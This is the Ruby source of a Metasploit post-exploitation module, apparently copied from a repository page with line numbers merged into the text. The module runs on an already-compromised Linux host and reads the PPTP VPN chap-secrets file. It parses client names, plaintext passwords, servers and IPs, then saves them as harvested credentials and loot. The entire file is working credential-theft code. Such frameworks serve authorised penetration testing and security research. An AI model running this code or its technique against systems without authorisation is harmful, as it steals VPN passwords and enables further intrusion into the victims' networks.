Path: blob/master/modules/post/linux/gather/pptpd_chap_secrets.rb
19721 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Auxiliary::Report89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Linux Gather PPTP VPN chap-secrets Credentials',14'Description' => %q{15This module collects PPTP VPN information such as client, server, password,16and IP from your target server's chap-secrets file.17},18'License' => MSF_LICENSE,19'Author' => [ 'sinn3r'],20'Platform' => [ 'linux' ],21'SessionTypes' => [ 'shell', 'meterpreter' ],22'Notes' => {23'Stability' => [CRASH_SAFE],24'SideEffects' => [],25'Reliability' => []26}27)28)2930register_options(31[32OptString.new('FILE', [true, 'The default path for chap-secrets', '/etc/ppp/chap-secrets'])33]34)35end3637#38# Reads chap_secrets39#40def load_file(fname)41begin42data = read_file(fname)43rescue Rex::Post::Meterpreter::RequestError => e44print_error("Failed to retrieve file. #{e.message}")45data = ''46end47fail_with(Failure::BadConfig, "The file #{fname} does not exist or is not a readable file!") unless data48return data49end5051def report_cred(opts)52service_data = {53address: opts[:ip],54port: opts[:port],55service_name: opts[:service_name],56protocol: 'tcp',57workspace_id: myworkspace_id58}5960credential_data = {61module_fullname: fullname,62post_reference_name: refname,63session_id: session_db_id,64origin_type: :session,65private_data: opts[:password],66private_type: :password,67username: opts[:user]68}.merge(service_data)6970login_data = {71core: create_credential(credential_data),72status: Metasploit::Model::Login::Status::UNTRIED73}.merge(service_data)7475create_credential_login(login_data)76end7778#79# Extracts client, server, secret, and IP addresses80#81def extract_secrets(data)82tbl = Rex::Text::Table.new({83'Header' => 'PPTPd chap-secrets',84'Indent' => 1,85'Columns' => ['Client', 'Server', 'Secret', 'IP']86})8788data.each_line do |l|89# If this line is commented out, ignore it90next if l =~ /^[[:blank:]]*#/9192found = l.split9394# Nothing is found, skip!95next if found.empty?9697client = (found[0] || '').strip98server = (found[1] || '').strip99secret = (found[2] || '').strip100ip = (found[3, found.length] * ', ' || '').strip101102report_cred(103ip: session.session_host,104port: 1723, # PPTP port105service_name: 'pptp',106user: client,107password: secret108)109110tbl << [client, server, secret, ip]111end112113if tbl.rows.empty?114print_status("This file has no secrets: #{datastore['FILE']}")115else116print_line(tbl.to_s)117118p = store_loot(119'linux.chapsecrets.creds',120'text/csv',121session,122tbl.to_csv,123File.basename(datastore['FILE'] + '.txt')124)125print_good("Secrets stored in: #{p}")126end127end128129def run130fname = datastore['FILE']131f = load_file(fname)132extract_secrets(f)133end134135end136137138